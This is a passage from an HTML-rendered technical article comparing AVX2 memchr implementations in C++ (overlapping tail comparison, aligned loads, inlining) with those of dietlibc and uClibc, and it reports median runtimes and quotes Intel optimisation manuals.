class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_lddqu_si256<\/span><span class=\"p\">(<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">reinterpret_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"n\">__m256i<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_cmpeq_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"n\">z<\/span><span class=\"w\">     <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_movemask_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">r<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">__builtin_ffs<\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"w\"> <\/span><span class=\"o\">?<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>For the test data and the main test machine the change in median runtime\nis only marginal, less than 1 second or so.<\/p>\n<h2 id=\"do-more-faster\">Do more faster?<a class=\"headerlink\" href=\"#do-more-faster\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since it isn't always practical to allocate a larger buffer,\nanother promising variant is to eliminate the second loop via\ndoing one overlapping SIMD comparison for the remaining bytes. On\nthe other hand, in the worst case 30 bytes would be compared\ntwice.<\/p>\n<p>Our example thus changes to:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"nf\">find_avx2_more<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">  <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_set1_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">+<\/span><span class=\"mi\">32<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">+=<\/span><span class=\"mi\">32<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_lddqu_si256<\/span><span class=\"p\">(<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">reinterpret_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"n\">__m256i<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_cmpeq_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"n\">z<\/span><span class=\"w\">     <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_movemask_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">r<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">__builtin_ffs<\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"o\">&lt;<\/span><span class=\"n\">e<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">e<\/span><span class=\"o\">-<\/span><span class=\"n\">b<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">32<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">          <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">else<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">      <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"mi\">-32<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_lddqu_si256<\/span><span class=\"p\">(<\/span>\n<span class=\"w\">          <\/span><span class=\"k\">reinterpret_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"n\">__m256i<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">      <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_cmpeq_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">      <\/span><span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"n\">z<\/span><span class=\"w\">     <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_movemask_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">r<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">__builtin_ffs<\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>With that the median runtime basically stays the same in\ncomparison with the overflow version..<\/p>\n<h2 id=\"alignment\">Alignment<a class=\"headerlink\" href=\"#alignment\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The Intel documentation contains hints that although alignment\nrequirements are relaxed with AVX2 some instructions might\nperform faster when accessing aligned data. For example, an\nindirect hint in the <a href=\"https:\/\/software.intel.com\/sites\/landingpage\/IntrinsicsGuide\/#text=_mm256_lddqu_si256&amp;expand=3024\">documentation of\n<code>_mm256_lddqu_si256<\/code><\/a>:<\/p>\n<blockquote>\n<p>This intrinsic may perform better than <code>_mm256_loadu_si256<\/code>\nwhen the data crosses a cache line boundary.<\/p>\n<\/blockquote>\n<p>A datum crosses a cache line boundary when it is not aligned.<\/p>\n<p>And more specific the <a href=\"https:\/\/software.intel.com\/en-us\/articles\/introduction-to-intel-advanced-vector-extensions\/\">Introduction to Intel Advanced Vector\nextensions<\/a> (Section Instruction Set Overview):<\/p>\n<blockquote>\n<p>Intel\u00ae AVX has relaxed some memory alignment requirements, so\nnow Intel AVX by default allows unaligned access; however, this\naccess may come at a performance slowdown, so the old rule of\ndesigning your data to be memory aligned is still good practice\n(16-byte aligned for 128-bit access and 32-byte aligned for\n256-bit access). The main exceptions are the VEX-extended\nversions of the SSE instructions that explicitly required\nmemory-aligned data: These instructions still require aligned\ndata. Other specific instructions requiring aligned access are\nlisted in Table 2.4 of the Intel\u00ae Advanced Vector Extensions\nProgramming Reference (see \"For More Information\" for a link).<\/p>\n<\/blockquote>\n<p>Looking at our example, the records naturally are unaligned - due\nto their variable length. However, we can do the following:\naccess the first 32 bytes unaligned and then do an increment less than\n32 bytes such that all following loads are aligned. In the worst\ncase we have an overlap of 31 bytes in such a way - but that\nstill might pay off.<\/p>\n<p>Since we are using 256 Bit registers in the AVX example the\naddress should be aligned at 32 bytes. An address is 32\nbyte-aligned (i.e. it is a multiple of 32) if the 5 least\nsignificant bits are zero (i.e. <code>log2(32)=5<\/code>).<\/p>\n<p>Thus, our example changes to:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;immintrin.h&gt;<\/span>\n<span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;stdint.h&gt;<\/span>\n\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"nf\">find_avx2_align<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">  <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_set1_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">  <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_lddqu_si256<\/span><span class=\"p\">(<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">reinterpret_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"n\">__m256i<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_cmpeq_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"kt\">int<\/span><span class=\"w\">     <\/span><span class=\"n\">z<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_movemask_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">r<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">__builtin_ffs<\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"w\"> <\/span><span class=\"o\">?<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">a<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"mi\">32<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"kt\">uintptr_t<\/span><span class=\"w\"> <\/span><span class=\"n\">ai<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"k\">reinterpret_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"kt\">uintptr_t<\/span><span class=\"o\">&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">a<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">ai<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;=<\/span><span class=\"w\"> <\/span><span class=\"o\">~<\/span><span class=\"kt\">uintptr_t<\/span><span class=\"p\">(<\/span><span class=\"mb\">0b11111u<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">a<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"k\">reinterpret_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">ai<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"k\">static_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">a<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">+=<\/span><span class=\"mi\">32<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_lddqu_si256<\/span><span class=\"p\">(<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">reinterpret_cast<\/span><span class=\"o\">&lt;<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"n\">__m256i<\/span><span class=\"o\">*&gt;<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">));<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">__m256i<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_cmpeq_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">q<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kt\">int<\/span><span class=\"w\">     <\/span><span class=\"n\">z<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">_mm256_movemask_epi8<\/span><span class=\"p\">(<\/span><span class=\"n\">r<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">__builtin_ffs<\/span><span class=\"p\">(<\/span><span class=\"n\">z<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"w\"> <\/span><span class=\"o\">?<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n\n<span class=\"w\">  <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>It turns out that this doesn't improve the runtime much (in\ncomparison with the first AVX version).<\/p>\n<p>With that version we can also replace <code>_m256_lddqu_si256<\/code> with\n<code>_mm256_load_si256<\/code> in the main loop (which does require\nalignment), but - at least on this CPU - this doesn't change the\nruntime much.<\/p>\n<h2 id=\"inlining\">Inlining<a class=\"headerlink\" href=\"#inlining\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Putting an AVX find version into the same translation unit (or\ninto a header) and adding <code>static inline<\/code> to its definition\nallows the compiler to inline it into the main read loop such\nthat function call and return overhead is eliminated. With\n<code>find_avx2_overflow<\/code> there is no runtime improvement, though. In fact,\nit runs half a second or so longer.<\/p>\n<h2 id=\"other-c-libraries\">Other C libraries<a class=\"headerlink\" href=\"#other-c-libraries\" title=\"Permanent link\">&para;<\/a><\/h2>\n<h3 id=\"dietlibc\">Dietlibc<a class=\"headerlink\" href=\"#dietlibc\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>The <a href=\"https:\/\/www.fefe.de\/dietlibc\/\">dietlibc<\/a> (0.33-8), a libc optimized for static\nlinking, also comes with some architecture specific <code>memchr()<\/code>\nversions. The x86-64 version is written in assembler and\nuses SSE, i.e. 128 Bit registers. In contrast to glibc, the main\nloop just contains one vector comparison instruction and not four\n(<code>dietlibc\/x86_64\/memchr.S<\/code>):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"w\">  <\/span><span class=\"nf\">pshufd<\/span><span class=\"w\"> <\/span><span class=\"no\">$0<\/span><span class=\"p\">,<\/span><span class=\"nv\">%xmm0<\/span><span class=\"p\">,<\/span><span class=\"nv\">%xmm0<\/span><span class=\"w\">        <\/span><span class=\"cm\">\/* xmm0 = ch x 16 *\/<\/span>\n<span class=\"err\">1:<\/span>\n<span class=\"w\">  <\/span><span class=\"nf\">movdqa<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"nv\">%xmm1<\/span>\n<span class=\"w\">  <\/span><span class=\"nf\">pcmpeqb<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm0<\/span><span class=\"p\">,<\/span><span class=\"nv\">%xmm1<\/span>\n<span class=\"w\">  <\/span><span class=\"nf\">pmovmskb<\/span><span class=\"w\"> <\/span><span class=\"nv\">%xmm1<\/span><span class=\"p\">,<\/span><span class=\"nv\">%ecx<\/span>\n<span class=\"w\">  <\/span><span class=\"nf\">and<\/span><span class=\"w\"> <\/span><span class=\"nv\">%eax<\/span><span class=\"p\">,<\/span><span class=\"nv\">%ecx<\/span>\n<span class=\"w\">  <\/span><span class=\"nf\">jnz<\/span><span class=\"w\"> <\/span><span class=\"no\">.Lfound<\/span><span class=\"w\">        <\/span><span class=\"cm\">\/* found something *\/<\/span>\n<span class=\"w\">  <\/span><span class=\"nf\">lea<\/span><span class=\"w\"> <\/span><span class=\"mi\">16<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"nv\">%rdi<\/span>\n<span class=\"w\">  <\/span><span class=\"nf\">or<\/span><span class=\"w\"> <\/span><span class=\"no\">$-1<\/span><span class=\"p\">,<\/span><span class=\"nv\">%eax<\/span>\n<span class=\"w\">  <\/span><span class=\"nf\">cmp<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"nv\">%rdi<\/span>\n<span class=\"w\">  <\/span><span class=\"nf\">jb<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"no\">b<\/span>\n<span class=\"w\">  <\/span><span class=\"nf\">jmp<\/span><span class=\"w\"> <\/span><span class=\"no\">.Lnull<\/span>\n<span class=\"nl\">.Lfound:<\/span>\n<\/code><\/pre><\/div>\n\n<p>Its median runtime is similar to the glibc one, i.e. 32 seconds.<\/p>\n<h3 id=\"uclibc\">uClibc<a class=\"headerlink\" href=\"#uclibc\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p><a href=\"https:\/\/www.uclibc.org\/\">UClibc<\/a> (0.9.33.2), a C library optimized for embedded\nsystems (i.e. for space), comes with some architecture specific\n<code>memchr<\/code> implementations, but not for x86-64. Its generic version\nin <code>libc\/string\/generic\/memchr.c<\/code> originates from the Glibc and\nimplements chunked looping (without vector instructions).  The\nchunks are of size <code>sizeof(size_t)<\/code> and this is also the\nalignment the prologue establishes. With comments, this\nimplementation has about 170 lines. Its median runtime is a few\nseconds worse than the one of the naive implementation, i.e.  54\nseconds vs. 53 seconds.<\/p>\n<p>It also comes with an Intel 386  specific <code>memchr<\/code> implementation\nthat uses the <code>REPNE<\/code> prefix instruction with <code>SCASB<\/code>\n(<code>libc\/string\/i386\/memchr.c<\/code>). The mnemonics stand for\nrepeat-while-not-equal and scan-string-bytewise. This instruction\nbasically replaces a whole loop, which is very <a href=\"https:\/\/en.wikipedia.org\/wiki\/Complex_instruction_set_computing\">CISC<\/a> and\nseems to come from a time with very limited compilers.  It is\nstill available on x86-64 in 64 Bit mode.  A 64 bit version with\n<code>REPNE SCASB<\/code> has suboptimal runtime, though - its runtime is 71\nseconds, i.e. 21 seconds longer than the naive implementation.\nThe <a href=\"http:\/\/www.intel.com\/content\/dam\/www\/public\/us\/en\/documents\/manuals\/64-ia-32-architectures-optimization-manual.pdf\">Intel 64 and IA-32 Architectures Optimization Reference\nManual<\/a> (page 3-68, June 2016) also recommends against its use:<\/p>\n<blockquote>\n<p>Using a REP prefix with string move instructions can provide\nhigh performance in the situations described above. However,\nusing a REP prefix 